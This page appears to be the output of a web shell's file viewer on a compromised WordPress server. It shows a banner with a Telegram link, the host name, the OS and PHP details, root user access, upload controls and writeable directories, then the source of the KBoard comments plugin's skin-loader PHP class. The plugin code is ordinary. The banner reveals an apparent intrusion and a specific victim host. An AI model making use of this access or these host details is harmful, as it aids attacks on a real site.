https://t.me/RX1948
Server : Apache/2.4.58 (Ubuntu)
System : Linux yumsem00.cafe24.com 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64
User : root ( 0)
PHP Version : 8.2.14
Disable Function : NONE
Directory :  /var/www/html/wp-content/plugins/kboard-comments/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/wp-content/plugins/kboard-comments/class/KBCommentSkin.class.php
<?php
/**
 * KBoard 댓글 스킨
 * @link www.cosmosfarm.com
 * @copyright Copyright 2021 Cosmosfarm. All rights reserved.
 * @license http://www.gnu.org/licenses/gpl.html
 */
class KBCommentSkin {
	
	static private $instance;
	private $active = array();
	private $list;
	
	private function __construct(){
		$dir = KBOARD_COMMENTS_DIR_PATH . '/skin';
		if($dh = @opendir($dir)){
			while(($name = readdir($dh)) !== false){
				if($name == '.' || $name == '..' || $name == 'readme.txt' || $name == '__MACOSX' || $name == '.git') continue;
				$skin = new stdClass();
				$skin->name = $name;
				$skin->dir = KBOARD_COMMENTS_DIR_PATH . "/skin/{$name}";
				$skin->url = KBOARD_COMMENTS_URL_PATH . "/skin/{$name}";
				$this->list[$name] = $skin;
			}
		}
		closedir($dh);
		
		$this->list = apply_filters('kboard_comments_skin_list', $this->list);
		
		ksort($this->list);
	}
	
	/**
	 * 인스턴스를 반환한다.
	 * @return KBCommentSkin
	 */
	static public function getInstance(){
		if(!self::$instance) self::$instance = new KBCommentSkin();
		return self::$instance;
	}
	
	/**
	 * 모든 스킨 리스트를 반환한다.
	 * @return array
	 */
	public function getList(){
		return $this->list ? $this->list : array();
	}
	
	/**
	 * 스킨 레이아웃을 불러온다.
	 * @param string $skin_name
	 * @param string $file
	 * @param array $vars
	 * @return string
	 */
	public function load($skin_name, $file, $vars=array()){
		ob_start();
		
		if(isset($this->list[$skin_name])){
			extract($vars, EXTR_SKIP);
			
			$is_admin = false;
			if(is_admin()){
				if(file_exists("{$this->list[$skin_name]->dir}/admin-{$file}")){
					$is_admin = true;
				}
			}
			
			if($is_admin){
				include "{$this->list[$skin_name]->dir}/admin-{$file}";
			}
			else{
				include "{$this->list[$skin_name]->dir}/{$file}";
			}
		}
		
		return ob_get_clean();
	}
	
	/**
	 * 스킨의 functions.php 파일을 불러온다.
	 * @param string $skin_name
	 */
	public function loadFunctions($skin_name){
		if(isset($this->list[$skin_name]) && file_exists("{$this->list[$skin_name]->dir}/functions.php")){
			include_once "{$this->list[$skin_name]->dir}/functions.php";
		}
	}
	
	/**
	 * 스킨 URL 주소를 반환한다.
	 * @param string $skin_name
	 * @param string $file
	 * @return string
	 */
	public function url($skin_name, $file=''){
		if(isset($this->list[$skin_name])){
			return "{$this->list[$skin_name]->url}" . ($file ? "/{$file}" : '');
		}
		return '';
	}
	
	/**
	 * 스킨 DIR 경로를 반환한다.
	 * @param string $skin_name
	 * @param string $file
	 * @return string
	 */
	public function dir($skin_name, $file=''){
		if(isset($this->list[$skin_name])){
			return "{$this->list[$skin_name]->dir}" . ($file ? "/{$file}" : '');
		}
		return '';
	}
	
	/**
	 * 사용 중인 스킨 리스트를 반환한다.
	 * @return array
	 */
	public function getActiveList(){
		global $wpdb;
		
		if(!$this->active){
			$results = $wpdb->get_results("SELECT DISTINCT `value` FROM `{$wpdb->prefix}kboard_board_meta` WHERE `key`='comment_skin'");
			
			foreach($results as $row){
				if(!empty($row->value)){
					$this->active[] = $row->value;
				}
			}
		}
		
		return apply_filters('kboard_comments_skin_active_list', $this->active);
	}
}

https://t.me/RX1948 - 2025